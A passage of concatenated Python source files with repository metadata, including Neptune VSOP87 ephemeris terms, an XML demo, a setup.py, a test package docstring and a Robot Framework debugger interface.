Y2 += 0.00000002511 * math.cos(1.57939297348 + 209.6107596584 * self.t)
Y2 += 0.00000002512 * math.cos(0.17397391459 + 217.4750661846 * self.t)
Y2 += 0.00000002552 * math.cos(4.09952672426 + 79.47883417571 * self.t)
Y2 += 0.00000002457 * math.cos(1.09953412303 + 38.89811798311 * self.t)
Y2 += 0.00000002343 * math.cos(3.50679449028 + 981.3875687218 * self.t)
Y2 += 0.00000002501 * math.cos(3.24491806395 + 669.4009330803 * self.t)
Y2 += 0.00000002330 * math.cos(2.37985529884 + 38.32866901151 * self.t)
Y2 += 0.00000002327 * math.cos(5.10713891298 + 38.4250372311 * self.t)
Y2 += 0.00000002481 * math.cos(0.85514029866 + 655.1738390787 * self.t)
Y2 += 0.00000002569 * math.cos(2.65544269508 + 464.97504399731 * self.t)
# Neptune_Y3 (t) // 37 terms of order 3
Y3 = 0
Y3 += 0.00000985355 * math.cos(5.40479271994 + 38.3768531213 * self.t)
Y3 += 0.00000482798 * math.cos(2.40351592403 + 37.88921815429 * self.t)
Y3 += 0.00000416447 * math.cos(5.08276459732 + 0.2438174835 * self.t)
Y3 += 0.00000303825 * math.cos(5.25036318156 + 39.86132582961 * self.t)
Y3 += 0.00000089203 * math.cos(6.23576998030 + 36.892380413 * self.t)
Y3 += 0.00000070862 * math.cos(4.26820111330 + 76.50988875911 * self.t)
Y3 += 0.00000028900 * math.cos(4.07922314280 + 41.3457985379 * self.t)
Y3 += 0.00000022279 * math.cos(1.38807052555 + 206.42936592071 * self.t)
Y3 += 0.00000021480 * math.cos(0.30279640762 + 220.6564599223 * self.t)
Y3 += 0.00000016157 * math.cos(4.26502283154 + 522.8212355773 * self.t)
Y3 += 0.00000015714 * math.cos(3.19639937559 + 537.0483295789 * self.t)
Y3 += 0.00000011404 * math.cos(0.68881522230 + 35.40790770471 * self.t)
Y3 += 0.00000013199 * math.cos(4.77296321336 + 7.3573644843 * self.t)
Y3 += 0.00000007024 * math.cos(5.41129077346 + 3.21276290011 * self.t)
Y3 += 0.00000006772 * math.cos(5.90918041474 + 69.3963417583 * self.t)
Y3 += 0.00000004517 * math.cos(1.71813394760 + 45.49040012211 * self.t)
Y3 += 0.00000004523 * math.cos(2.61625996387 + 31.2633061205 * self.t)
Y3 += 0.00000003682 * math.cos(3.04341607939 + 98.6561710411 * self.t)
Y3 += 0.00000003656 * math.cos(2.17226292493 + 968.64494742849 * self.t)
Y3 += 0.00000003927 * math.cos(5.25979459691 + 426.8420083595 * self.t)
Y3 += 0.00000003199 * math.cos(3.24406648940 + 1519.6765535255 * self.t)
Y3 += 0.00000003498 * math.cos(4.84556329465 + 407.9344936969 * self.t)
Y3 += 0.00000003304 * math.cos(3.81825313228 + 422.1615876985 * self.t)
Y3 += 0.00000003331 * math.cos(3.54124873059 + 36.404745446 * self.t)
Y3 += 0.00000003244 * math.cos(4.42247914038 + 484.2005649725 * self.t)
Y3 += 0.00000002689 * math.cos(5.61171743826 + 441.06910236111 * self.t)
Y3 += 0.00000003247 * math.cos(3.33592493083 + 498.42765897409 * self.t)
Y3 += 0.00000002651 * math.cos(2.02749548795 + 304.84171947829 * self.t)
Y3 += 0.00000002645 * math.cos(0.90433895865 + 461.77909604459 * self.t)
Y3 += 0.00000002542 * math.cos(1.05108120438 + 444.5830566264 * self.t)
Y3 += 0.00000002524 * math.cos(5.46978523129 + 433.9555553603 * self.t)
Y3 += 0.00000002472 * math.cos(0.92177286185 + 319.06881347989 * self.t)
Y3 += 0.00000002355 * math.cos(2.03272387563 + 447.552002043 * self.t)
Y3 += 0.00000002876 * math.cos(3.65433810175 + 853.4401992355 * self.t)
Y3 += 0.00000002279 * math.cos(6.20789133449 + 458.810150628 * self.t)
Y3 += 0.00000002147 * math.cos(1.06531556689 + 175.40987728371 * self.t)
Y3 += 0.00000002637 * math.cos(2.06613866653 + 73.5409433425 * self.t)
# Neptune_Y4 (t) // 14 terms of order 4
Y4 = 0
Y4 += 0.00003455306 * math.cos(2.04385259535 + 38.3768531213 * self.t)
Y4 += 0.00000047405 * math.cos(0.64311364094 + 0.2438174835 * self.t)
Y4 += 0.00000021936 * math.cos(4.30052120876 + 37.88921815429 * self.t)
Y4 += 0.00000015596 * math.cos(0.30774488881 + 76.50988875911 * self.t)
Y4 += 0.00000017186 * math.cos(3.96705739007 + 39.86132582961 * self.t)
Y4 += 0.00000017459 * math.cos(3.25820107685 + 36.892380413 * self.t)
Y4 += 0.00000004229 * math.cos(6.14484758916 + 515.70768857651 * self.t)
Y4 += 0.00000004334 * math.cos(3.84568484898 + 433.9555553603 * self.t)
Y4 += 0.00000003547 * math.cos(1.04322259069 + 989.98558843089 * self.t)
Y4 += 0.00000003155 * math.cos(0.14083942013 + 467.40817033709 * self.t)
Y4 += 0.00000003017 * math.cos(4.77718347184 + 227.77000692311 * self.t)
Y4 += 0.00000002981 * math.cos(5.01159762849 + 1.7282901918 * self.t)
Y4 += 0.00000002295 * math.cos(4.84988240730 + 220.6564599223 * self.t)
Y4 += 0.00000002296 * math.cos(3.13566627364 + 206.42936592071 * self.t)
# Neptune_Y5 (t) // 1 term of order 5
Y5 = 0
Y5 += 0.00000026291 * math.cos(2.14645097520 + 38.3768531213 * self.t)
Y = ( Y0+
Y1*self.t+
Y2*self.t*self.t+
Y3*self.t*self.t*self.t+
Y4*self.t*self.t*self.t*self.t+
Y5*self.t*self.t*self.t*self.t*self.t)
# Neptune_Z0 (t) // 133 terms of order 0
Z0 = 0
Z0 += 0.92866054405 * math.cos(1.44103930278 + 38.1330356378 * self.t)
Z0 += 0.01245978462
Z0 += 0.00474333567 * math.cos(2.52218774238 + 36.6485629295 * self.t)
Z0 += 0.00451987936 * math.cos(3.50949720541 + 39.6175083461 * self.t)
Z0 += 0.00417558068 * math.cos(5.91310695421 + 76.2660712756 * self.t)
Z0 += 0.00084104329 * math.cos(4.38928900096 + 1.4844727083 * self.t)
Z0 += 0.00032704958 * math.cos(1.52048692001 + 74.7815985673 * self.t)
Z0 += 0.00030873335 * math.cos(3.29017611456 + 35.1640902212 * self.t)
Z0 += 0.00025812584 * math.cos(3.19303128782 + 2.9689454166 * self.t)
Z0 += 0.00016865319 * math.cos(2.13251104425 + 41.1019810544 * self.t)
Z0 += 0.00011789909 * math.cos(3.60001877675 + 213.299095438 * self.t)
Z0 += 0.00009770125 * math.cos(2.80133971586 + 73.297125859 * self.t)
Z0 += 0.00011279680 * math.cos(3.55816676334 + 529.6909650946 * self.t)
Z0 += 0.00004119873 * math.cos(1.67934316836 + 77.7505439839 * self.t)
Z0 += 0.00002818034 * math.cos(4.10661077794 + 114.3991069134 * self.t)
Z0 += 0.00002868677 * math.cos(4.27011526203 + 33.6796175129 * self.t)
Z0 += 0.00002213464 * math.cos(1.96045135168 + 4.4534181249 * self.t)
Z0 += 0.00001865650 * math.cos(5.05540709577 + 71.8126531507 * self.t)
Z0 += 0.00000840177 * math.cos(0.94268885160 + 42.5864537627 * self.t)
Z0 += 0.00000457516 * math.cos(5.71650412080 + 108.4612160802 * self.t)
Z0 += 0.00000530252 * math.cos(0.85800267793 + 111.4301614968 * self.t)
Z0 += 0.00000490859 * math.cos(6.07827301209 + 112.9146342051 * self.t)
Z0 += 0.00000331254 * math.cos(0.29304964526 + 70.3281804424 * self.t)
Z0 += 0.00000330045 * math.cos(2.83839676215 + 426.598190876 * self.t)
Z0 += 0.00000273589 * math.cos(3.91013681794 + 1059.3819301892 * self.t)
Z0 += 0.00000277586 * math.cos(1.45092010545 + 148.0787244263 * self.t)
Z0 += 0.00000274474 * math.cos(5.42657022437 + 32.1951448046 * self.t)
Z0 += 0.00000205306 * math.cos(0.75818737085 + 5.9378908332 * self.t)
Z0 += 0.00000173516 * math.cos(5.85498030099 + 145.1097790097 * self.t)
Z0 += 0.00000141275 * math.cos(1.73147597657 + 28.5718080822 * self.t)
Z0 += 0.00000139093 * math.cos(1.67466701191 + 184.7272873558 * self.t)
Z0 += 0.00000143647 * math.cos(2.51620047812 + 37.611770776 * self.t)
Z0 += 0.00000136955 * math.cos(0.20339778664 + 79.2350166922 * self.t)
Z0 += 0.00000126296 * math.cos(4.40661385040 + 37.1698277913 * self.t)
Z0 += 0.00000120906 * math.cos(1.61767636602 + 39.0962434843 * self.t)
Z0 += 0.00000111761 * math.cos(6.20948230785 + 98.8999885246 * self.t)
Z0 += 0.00000140758 * math.cos(3.50944989694 + 38.6543004996 * self.t)
Z0 += 0.00000111589 * math.cos(4.18561395578 + 47.6942631934 * self.t)
Z0 += 0.00000133509 * math.cos(4.78977105547 + 38.084851528 * self.t)
Z0 += 0.00000102622 * math.cos(0.81673762159 + 4.192785694 * self.t)
Z0 += 0.00000133292 * math.cos(1.23386935925 + 38.1812197476 * self.t)
Z0 += 0.00000098771 * math.cos(0.72335005782 + 106.9767433719 * self.t)
Z0 += 0.00000093919 * math.cos(0.56607810948 + 206.1855484372 * self.t)
Z0 += 0.00000081727 * math.cos(3.47861315258 + 220.4126424388 * self.t)
Z0 += 0.00000074559 * math.cos(2.31518880439 + 312.1990839626 * self.t)
Z0 += 0.00000074401 * math.cos(5.99935727164 + 181.7583419392 * self.t)
Z0 += 0.00000073141 * math.cos(1.80069951634 + 137.0330241624 * self.t)
Z0 += 0.00000066838 * math.cos(1.87185330904 + 221.3758502853 * self.t)
Z0 += 0.00000058303 * math.cos(5.61662561548 + 35.685355083 * self.t)
Z0 += 0.00000051685 * math.cos(6.02831347649 + 44.070926471 * self.t)
Z0 += 0.00000051928 * math.cos(0.40473854286 + 40.5807161926 * self.t)
Z0 += 0.00000048182 * math.cos(2.97141991737 + 37.8724032069 * self.t)
Z0 += 0.00000049439 * math.cos(1.66178905717 + 68.8437077341 * self.t)
Z0 += 0.00000047742 * math.cos(3.05261105371 + 38.3936680687 * self.t)
Z0 += 0.00000046428 * math.cos(2.66596739242 + 146.594251718 * self.t)
Z0 += 0.00000050936 * math.cos(0.19994012329 + 30.0562807905 * self.t)
Z0 += 0.00000041127 * math.cos(6.05239303825 + 115.8835796217 * self.t)
Z0 += 0.00000055537 * math.cos(2.11977296055 + 109.9456887885 * self.t)
Z0 += 0.00000041357 * math.cos(0.86667380713 + 143.6253063014 * self.t)
Z0 += 0.00000044492 * math.cos(6.00613878606 + 149.5631971346 * self.t)
Z0 += 0.00000037856 * math.cos(5.19945796177 + 72.0732855816 * self.t)
Z0 += 0.00000047361 * math.cos(3.58964541604 + 38.0211610532 * self.t)
Z0 += 0.00000034690 * math.cos(1.47398766326 + 8.0767548473 * self.t)
Z0 += 0.00000037349 * math.cos(5.15067903040 + 33.9402499438 * self.t)
Z0 += 0.00000034386 * math.cos(6.15246630929 + 218.4069048687 * self.t)
Z0 += 0.00000047180 * math.cos(2.43405967107 + 38.2449102224 * self.t)
Z0 += 0.00000033382 * math.cos(0.88396990078 + 42.3258213318 * self.t)
Z0 += 0.00000040753 * math.cos(3.59668759304 + 522.5774180938 * self.t)
Z0 += 0.00000033071 * math.cos(2.02572550598 + 258.0244132148 * self.t)
Z0 += 0.00000038849 * math.cos(5.79294381756 + 46.2097904851 * self.t)
Z0 += 0.00000031716 * math.cos(0.30412624027 + 536.8045120954 * self.t)
Z0 += 0.00000027605 * math.cos(2.81540405940 + 183.2428146475 * self.t)
Z0 += 0.00000024616 * math.cos(0.40597272412 + 30.7106720963 * self.t)
Z0 += 0.00000021716 * math.cos(0.90792314747 + 175.1660598002 * self.t)
Z0 += 0.00000021634 * math.cos(3.25469228647 + 388.4651552382 * self.t)
Z0 += 0.00000020384 * math.cos(5.80954414865 + 7.4223635415 * self.t)
Z0 += 0.00000018640 * math.cos(1.06424642993 + 180.2738692309 * self.t)
Z0 += 0.00000016716 * math.cos(0.02332590259 + 255.0554677982 * self.t)
Z0 += 0.00000018790 * math.cos(0.62408059806 + 35.212274331 * self.t)
Z0 += 0.00000016990 * math.cos(2.19726523790 + 294.6729761443 * self.t)
Z0 += 0.00000016083 * math.cos(4.20629091415 + 0.9632078465 * self.t)
Z0 += 0.00000021571 * math.cos(2.39337706760 + 152.5321425512 * self.t)
Z0 += 0.00000017102 * math.cos(5.39964889794 + 41.0537969446 * self.t)
Z0 += 0.00000014503 * math.cos(4.66614523797 + 110.2063212194 * self.t)
Z0 += 0.00000015218 * math.cos(2.93182248771 + 219.891377577 * self.t)
Z0 += 0.00000014757 * math.cos(2.02029526083 + 105.4922706636 * self.t)
Z0 += 0.00000013303 * math.cos(2.09362099250 + 639.897286314 * self.t)
Z0 += 0.00000013582 * math.cos(0.99222619680 + 44.7253177768 * self.t)
Z0 += 0.00000011309 * math.cos(4.15253392707 + 487.3651437628 * self.t)
Z0 += 0.00000012521 * math.cos(0.41449986025 + 186.2117600641 * self.t)
Z0 += 0.00000012363 * math.cos(3.07599476497 + 6.592282139 * self.t)
Z0 += 0.00000010825 * math.cos(4.13817476053 + 0.5212648618 * self.t)
Z0 += 0.00000014304 * math.cos(5.15644933777 + 31.5407534988 * self.t)
Z0 += 0.00000010056 * math.cos(4.27077049743 + 1589.0728952838 * self.t)
Z0 += 0.00000009355 * math.cos(1.23360360711 + 216.9224321604 * self.t)
Z0 += 0.00000008774 * math.cos(5.77195684843 + 12.5301729722 * self.t)
Z0 += 0.00000008445 * math.cos(0.17584724644 + 291.7040307277 * self.t)
Z0 += 0.00000008927 * math.cos(2.36869187243 + 331.3215390738 * self.t)
Z0 += 0.00000009613 * math.cos(0.28151591238 + 60.7669528868 * self.t)
Z0 += 0.00000008279 * math.cos(5.72084525545 + 36.7604375141 * self.t)
Z0 += 0.00000009111 * math.cos(3.49027191661 + 45.2465826386 * self.t)
Z0 += 0.00000008178 * math.cos(0.25637861075 + 39.5056337615 * self.t)
Z0 += 0.00000008598 * math.cos(3.10287346009 + 256.5399405065 * self.t)
Z0 += 0.00000009489 * math.cos(4.94205919676 + 151.0476698429 * self.t)
Z0 += 0.00000008564 * math.cos(2.15904622462 + 274.0660483248 * self.t)
Z0 += 0.00000007474 * math.cos(2.93279436008 + 27.0873353739 * self.t)
Z0 += 0.00000007944 * math.cos(0.38277699900 + 10213.285546211 * self.t)
Z0 += 0.00000007132 * math.cos(1.50971234331 + 944.9828232758 * self.t)
Z0 += 0.00000009005 * math.cos(0.07284074730 + 419.4846438752 * self.t)
Z0 += 0.00000007642 * math.cos(5.56097006597 + 187.6962327724 * self.t)
Z0 += 0.00000007705 * math.cos(1.54152595157 + 84.3428261229 * self.t)
Z0 += 0.00000006896 * math.cos(4.71453324740 + 406.1031376411 * self.t)
Z0 += 0.00000007282 * math.cos(5.81348163927 + 316.3918696566 * self.t)
Z0 += 0.00000006215 * math.cos(5.27967153537 + 7.1135470008 * self.t)
Z0 += 0.00000006090 * math.cos(4.48506819561 + 415.2918581812 * self.t)
Z0 += 0.00000006316 * math.cos(0.59502514374 + 453.424893819 * self.t)
Z0 += 0.00000006177 * math.cos(5.20115334051 + 80.7194894005 * self.t)
Z0 += 0.00000006324 * math.cos(2.18406254461 + 142.1408335931 * self.t)
Z0 += 0.00000005646 * math.cos(0.76840537906 + 11.0457002639 * self.t)
Z0 += 0.00000006102 * math.cos(5.58764378724 + 662.531203563 * self.t)
Z0 += 0.00000005334 * math.cos(4.52703538458 + 103.0927742186 * self.t)
Z0 += 0.00000006269 * math.cos(1.95162790177 + 605.9570363702 * self.t)
Z0 += 0.00000005591 * math.cos(5.20631788297 + 14.0146456805 * self.t)
Z0 += 0.00000004914 * math.cos(1.39906038110 + 253.5709950899 * self.t)
Z0 += 0.00000004519 * math.cos(2.07610590431 + 2042.4977891028 * self.t)
Z0 += 0.00000005681 * math.cos(4.80791039970 + 641.1211265914 * self.t)
Z0 += 0.00000006294 * math.cos(0.56936923702 + 31.019488637 * self.t)
Z0 += 0.00000004758 * math.cos(2.54312258712 + 367.9701020033 * self.t)
Z0 += 0.00000004406 * math.cos(0.33696669222 + 328.3525936572 * self.t)
Z0 += 0.00000004390 * math.cos(5.08949604858 + 286.596221297 * self.t)
Z0 += 0.00000004678 * math.cos(4.87546696295 + 442.7517005706 * self.t)
Z0 += 0.00000004407 * math.cos(5.58110402011 + 252.0865223816 * self.t)
Z0 += 0.00000004305 * math.cos(1.31724140028 + 493.0424021651 * self.t)
# Neptune_Z1 (t) // 61 terms of order 1
Z1 = 0
Z1 += 0.06832633707 * math.cos(3.80782656293 + 38.1330356378 * self.t)
Z1 -= 0.00064598028
Z1 += 0.00042738331 * math.cos(4.82540335637 + 36.6485629295 * self.t)
Z1 += 0.00031421638 * math.cos(6.08083255385 + 39.6175083461 * self.t)
Z1 += 0.00027088623 * math.cos(1.97557659098 + 76.2660712756 * self.t)
Z1 += 0.00005924197 * math.cos(0.48500737803 + 1.4844727083 * self.t)
Z1 += 0.00002429056 * math.cos(3.86784381378 + 74.7815985673 * self.t)
Z1 += 0.00002107258 * math.cos(6.19720726581 + 35.1640902212 * self.t)
Z1 += 0.00001644542 * math.cos(5.76041185818 + 2.9689454166 * self.t)
Z1 += 0.00001059588 * math.cos(4.89687990866 + 41.1019810544 * self.t)
Z1 += 0.00001084464 * math.cos(5.33722455731 + 213.299095438 * self.t)
Z1 += 0.00000880611 * math.cos(5.70150456912 + 529.6909650946 * self.t)
Z1 += 0.00000824125 * math.cos(5.04137560987 + 73.297125859 * self.t)
Z1 += 0.00000250821 * math.cos(4.25953295692 + 77.7505439839 * self.t)
Z1 += 0.00000158517 * math.cos(0.13500997625 + 114.3991069134 * self.t)
Z1 += 0.00000129390 * math.cos(4.76999039957 + 4.4534181249 * self.t)
Z1 += 0.00000105033 * math.cos(0.99234583035 + 33.6796175129 * self.t)
Z1 += 0.00000054734 * math.cos(3.96812588022 + 42.5864537627 * self.t)
Z1 += 0.00000034799 * math.cos(4.30403521625 + 37.611770776 * self.t)
Z1 += 0.00000041340 * math.cos(2.29314729799 + 206.1855484372 * self.t)
Z1 += 0.00000028374 * math.cos(1.67853213747 + 111.4301614968 * self.t)
Z1 += 0.00000025340 * math.cos(1.70015942799 + 220.4126424388 * self.t)
Z1 += 0.00000026021 * math.cos(6.09040669128 + 426.598190876 * self.t)
Z1 += 0.00000027198 * math.cos(5.95188476775 + 71.8126531507 * self.t)
Z1 += 0.00000021598 * math.cos(2.17619854748 + 112.9146342051 * self.t)
Z1 += 0.00000025154 * math.cos(4.13631230281 + 28.5718080822 * self.t)
Z1 += 0.00000020543 * math.cos(1.56946393801 + 38.6543004996 * self.t)
Z1 += 0.00000017216 * math.cos(2.81703507859 + 98.8999885246 * self.t)
Z1 += 0.00000019926 * math.cos(3.15301554161 + 108.4612160802 * self.t)
Z1 += 0.00000015544 * math.cos(2.07364839388 + 40.5807161926 * self.t)
Z1 += 0.00000015357 * math.cos(5.45891321516 + 522.5774180938 * self.t)
Z1 += 0.00000012266 * math.cos(3.82427247378 + 5.9378908332 * self.t)
Z1 += 0.00000013587 * math.cos(1.34795861192 + 47.6942631934 * self.t)
Z1 += 0.00000010839 * math.cos(4.75461825384 + 536.8045120954 * self.t)
Z1 += 0.00000010785 * math.cos(2.61566414257 + 79.2350166922 * self.t)
Z1 += 0.00000010916 * math.cos(3.88744647444 + 35.685355083 * self.t)
Z1 += 0.00000009833 * math.cos(3.62341506247 + 38.1812197476 * self.t)
Z1 += 0.00000009849 * math.cos(0.89613145346 + 38.084851528 * self.t)
Z1 += 0.00000009317 * math.cos(0.51297445145 + 37.1698277913 * self.t)
Z1 += 0.00000008955 * math.cos(4.00532631258 + 39.0962434843 * self.t)
Z1 += 0.00000007089 * math.cos(2.29610703652 + 137.0330241624 * self.t)
Z1 += 0.00000007573 * math.cos(3.20619266484 + 4.192785694 * self.t)
Z1 += 0.00000008063 * math.cos(5.86511590361 + 1059.3819301892 * self.t)
Z1 += 0.00000007655 * math.cos(3.39616255650 + 145.1097790097 * self.t)
Z1 += 0.00000006061 * math.cos(2.31235275416 + 109.9456887885 * self.t)
Z1 += 0.00000005726 * math.cos(6.23400745185 + 312.1990839626 * self.t)
Z1 += 0.00000003739 * math.cos(2.50010254963 + 30.0562807905 * self.t)
Z1 += 0.00000004145 * math.cos(2.00938305966 + 44.070926471 * self.t)
Z1 += 0.00000003480 * math.cos(5.88971113590 + 38.0211610532 * self.t)
Z1 += 0.00000003467 * math.cos(4.73412534395 + 38.2449102224 * self.t)
Z1 += 0.00000004736 * math.cos(6.28313624461 + 149.5631971346 * self.t)
Z1 += 0.00000003905 * math.cos(4.49400805134 + 106.9767433719 * self.t)
Z1 += 0.00000002982 * math.cos(1.80386443362 + 46.2097904851 * self.t)
Z1 += 0.00000003538 * math.cos(5.27114846878 + 37.8724032069 * self.t)
Z1 += 0.00000003508 * math.cos(5.35267669439 + 38.3936680687 * self.t)
Z1 += 0.00000002821 * math.cos(1.10242173566 + 33.9402499438 * self.t)
Z1 += 0.00000003150 * math.cos(2.14792830412 + 115.8835796217 * self.t)
Z1 += 0.00000003329 * math.cos(3.56226463770 + 181.7583419392 * self.t)
Z1 += 0.00000002787 * math.cos(1.21334651843 + 72.0732855816 * self.t)
Z1 += 0.00000002453 * math.cos(3.18401661435 + 42.3258213318 * self.t)
Z1 += 0.00000002523 * math.cos(5.51669920239 + 8.0767548473 * self.t)
# Neptune_Z2 (t) // 20 terms of order 2
Z2 = 0
Z2 += 0.00291361164 * math.cos(5.57085222635 + 38.1330356378 * self.t)
Z2 += 0.00002207820 * math.cos(0.45423510946 + 36.6485629295 * self.t)
Z2 -= 0.00002644401
Z2 += 0.00001184984 * math.cos(3.62696666572 + 76.2660712756 * self.t)
Z2 += 0.00000875873 * math.cos(1.60783110298 + 39.6175083461 * self.t)
Z2 += 0.00000253280 * math.cos(2.25499665308 + 1.4844727083 * self.t)
Z2 += 0.00000139875 * math.cos(1.66224942942 + 35.1640902212 * self.t)
Z2 += 0.00000105837 * math.cos(5.61746558118 + 74.7815985673 * self.t)
Z2 += 0.00000055479 * math.cos(0.51417309302 + 213.299095438 * self.t)
Z2 += 0.00000051858 * math.cos(1.20450519900 + 2.9689454166 * self.t)
Z2 += 0.00000040183 * math.cos(1.45604293605 + 529.6909650946 * self.t)
Z2 += 0.00000041153 * math.cos(0.64158589676 + 73.297125859 * self.t)
Z2 += 0.00000013931 * math.cos(0.27428875486 + 41.1019810544 * self.t)
Z2 += 0.00000009181 * math.cos(2.83312722213 + 33.6796175129 * self.t)
Z2 += 0.00000007421 * math.cos(4.32019600438 + 206.1855484372 * self.t)
Z2 += 0.00000006998 * math.cos(5.87666052849 + 77.7505439839 * self.t)
Z2 += 0.00000007085 * math.cos(1.66037085233 + 71.8126531507 * self.t)
Z2 += 0.00000006818 * math.cos(1.56386946094 + 114.3991069134 * self.t)
Z2 += 0.00000004838 * math.cos(0.83470875824 + 220.4126424388 * self.t)
Z2 += 0.00000002545 * math.cos(0.43712705655 + 4.4534181249 * self.t)
# Neptune_Z3 (t) // 8 terms of order 3
Z3 = 0
Z3 += 0.00008221290 * math.cos(1.01632472042 + 38.1330356378 * self.t)
Z3 += 0.00000103933
Z3 += 0.00000070154 * math.cos(2.36502685986 + 36.6485629295 * self.t)
Z3 += 0.00000031617 * math.cos(5.35266161292 + 76.2660712756 * self.t)
Z3 += 0.00000015470 * math.cos(3.21170859085 + 39.6175083461 * self.t)
Z3 += 0.00000007111 * math.cos(3.99067059016 + 1.4844727083 * self.t)
Z3 += 0.00000004656 * math.cos(3.62376309338 + 35.1640902212 * self.t)
Z3 += 0.00000002988 * math.cos(1.03727330540 + 74.7815985673 * self.t)
# Neptune_Z4 (t) // 1 term of order 4
Z4 = 0
Z4 += 0.00000172227 * math.cos(2.66872693322 + 38.1330356378 * self.t)
# Neptune_Z5 (t) // 1 term of order 5
Z5 = 0
Z5 += 0.00000003394 * math.cos(4.70646877989 + 38.1330356378 * self.t)
Z = ( Z0+
Z1*self.t+
Z2*self.t*self.t+
Z3*self.t*self.t*self.t+
Z4*self.t*self.t*self.t*self.t+
Z5*self.t*self.t*self.t*self.t*self.t)
return (X, Y, Z)
|
zdomjus60/astrometry
|
vsop87c/neptune.py
|
Python
|
cc0-1.0
| 232,946
|
from xml.etree.ElementTree import ElementTree
from xml.etree.ElementTree import Element
import xml.etree.ElementTree as etree
from xml.dom import minidom
import io
"""
using xml.etree.ElementTree
"""
def prettify(elem):
"""Return a pretty-printed XML string for the Element.
"""
rough_string = etree.tostring(elem, 'utf-8')
reparsed = minidom.parseString(rough_string)
return reparsed.toprettyxml(indent="\t")
root = Element('person')
tree = ElementTree(root)
name = Element('name')
root.append(name)
name.text = 'Julie'
root.set('id', '123')
# print etree.tostring(root)
print(prettify(root))
tree.write(open('person.xml', 'w'))
f2 = io.open('person2.xml', 'w', encoding = 'utf-8')
f2.write(prettify(root))
|
hoaibang07/Webscrap
|
sources/xmldemo/xmlcreate.py
|
Python
|
gpl-2.0
| 731
|
from distutils.core import setup
setup(
name = 'voxgenerator',
packages = ['voxgenerator',
'voxgenerator.core',
'voxgenerator.plugin',
'voxgenerator.pipeline',
'voxgenerator.generator',
'voxgenerator.service',
'voxgenerator.control'],
version = '1.0.3',
description = 'Vox generator',
url = 'https://github.com/benoitfragit/VOXGenerator/tree/master/voxgenerator',
author = 'Benoit Franquet',
author_email = 'benoitfraubuntu@gmail.com',
scripts = ['run_voxgenerator.py', 'run_voxgenerator', 'run_voxgenerator_gui.py'],
keywords = ['voice', 'control', 'pocketsphinx'],
classifiers = ["Programming Language :: Python",
"Development Status :: 4 - Beta",
"Environment :: Other Environment",
"Intended Audience :: Developers",
"License :: OSI Approved :: GNU Library or Lesser General Public License (LGPL)",
"Operating System :: OS Independent",
"Topic :: Software Development :: Libraries :: Python Modules"]
)
|
benoitfragit/VOXGenerator
|
setup.py
|
Python
|
gpl-2.0
| 1,170
|
#/usr/bin/env python
# -#- coding: utf-8 -#-
#
# equity_master/tests/__init__.py - equity masger unit test package
#
# Standard copyright message
#
#
#
# Initial version: 2012-04-02
# Author: Amnon Janiv
"""
.. module:: equity_master/tests
:synopsis: equity_master module unit test package
This package is designed to demonstrate TDD best practices:
- Structured approach to test data creation
- Per module unit test (not achievable due to time constraints)
- Per public and critical private class method, instance method, and function test cases
- Valid and invalid test suites and test cases
- Object life cycle including creation, configuration, validation
- Structured for expansion as more functionality is to be tested
- Implement unit test first, flushing out interfaces and underlying
functionality iteratively
- Each module is structured to be easily customized on specific
functionality being developed.
- Include functional, performance, and memory utilization test cases
While using the underlying python unit test module, the implementation
would be relatively simple to port to other unit test frameworks.
Each test module is name x_test, where x is the corresponding
module under test.
In order to run all the tests, execute 'python run_tests
The tests can be executed stand alone as well as when using
an IDE such as Eclipse
It is comprised of the following modules:
- common.py - common classes used
- equity_master_tests - higher level process tests
- process tests - process creation
- regexp_tests - regular expression related tests
.. moduleauthor:: Amnon Janiv
"""
__revision__ = '$Id: $'
__version__ = '0.0.1'
|
ajaniv/equitymaster
|
tests/__init__.py
|
Python
|
gpl-2.0
| 1,668
|
import logging
class BaseDebugInterface(object):
def __init__(self, debuger):
self.robotDebuger = debuger
self.debugCtx = debuger.debugCtx
self.logger = logging.getLogger("rbt.int")
self.bp_id = 0
def start(self, settings):
"""start debug interface."""
pass
def close(self):
pass
def go_steps(self, count): self.debugCtx.go_steps(int(count))
def go_into(self): self.debugCtx.go_into()
def go_over(self): self.debugCtx.go_over()
def go_on(self): self.debugCtx.go_on()
def go_return(self): self.debugCtx.go_return()
def go_pause(self): return self.debugCtx.go_pause()
def add_breakpoint(self, bp): self.robotDebuger.add_breakpoint(bp)
def watch_variable(self, name): return self.robotDebuger.watch_variable(name)
def remove_variable(self, name): return self.robotDebuger.remove_variable(name)
def run_keyword(self, name, *args): return self.robotDebuger.run_keyword(name, *args)
def update_variable(self, name, value):
from robot.running import NAMESPACES
if NAMESPACES.current is not None:
NAMESPACES.current.variables[name] = value
def variable_value(self, var_list):
from robot.running import NAMESPACES
if NAMESPACES.current is None:
return [(e, None) for e in var_list]
robot_vars = NAMESPACES.current.variables
val_list = []
for e in var_list:
try:
v = robot_vars.replace_scalar(e)
except Exception, et:
if "Non-existing" in str(et):
v = None
else: raise
val_list.append((e, v))
return val_list
@property
def watching_variable(self):return self.robotDebuger.watching_variable
@property
def callstack(self):
"""Return a runtime list"""
return list(self.debugCtx.call_stack)
@property
def breakpoints(self):
"""Return list of breakpoint"""
return list(self.debugCtx.break_points)
@property
def active_breakpoint(self):return self.debugCtx.active_break_point
def disable_breakpoint(self, name, match_kw=False):
bp = self._get_breakpoint(name, match_kw)
if bp: bp.active = False
def enable_breakpoint(self, name, match_kw=False):
bp = self._get_breakpoint(name, match_kw)
if bp: bp.active = True
def update_breakpoint(self, name, match_kw=False):
bp = self._get_breakpoint(name, match_kw)
if bp: bp.active = not bp.active
def _get_breakpoint(self, name, match_kw):
for e in self.debugCtx.break_points:
if match_kw and hasattr(e, 'kw_name') and e.kw_name == name:
return e
elif not match_kw and e.name == name:
return e
return None
def add_telnet_monitor(self, monitor):
"""this is IPAMml special feature."""
self.robotDebuger.add_telnet_monitor(monitor)
def add_debug_listener(self, l):
self.debugCtx.add_listener(l)
def remove_debug_listener(self, l):
self.debugCtx.remove_listener(l)
class Listener:
def __init__(self):
pass
def pause(self, breakpoint):
pass
def go_on(self):
pass
def start_keyword(self, keyword):
pass
def end_keyword(self, keyword):
pass
|
deonwu/robotframework-debuger
|
src/rdb/interface/base.py
|
Python
|
gpl-2.0
| 3,484
|
# Copyright (C) 2013 Red Hat, Inc.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
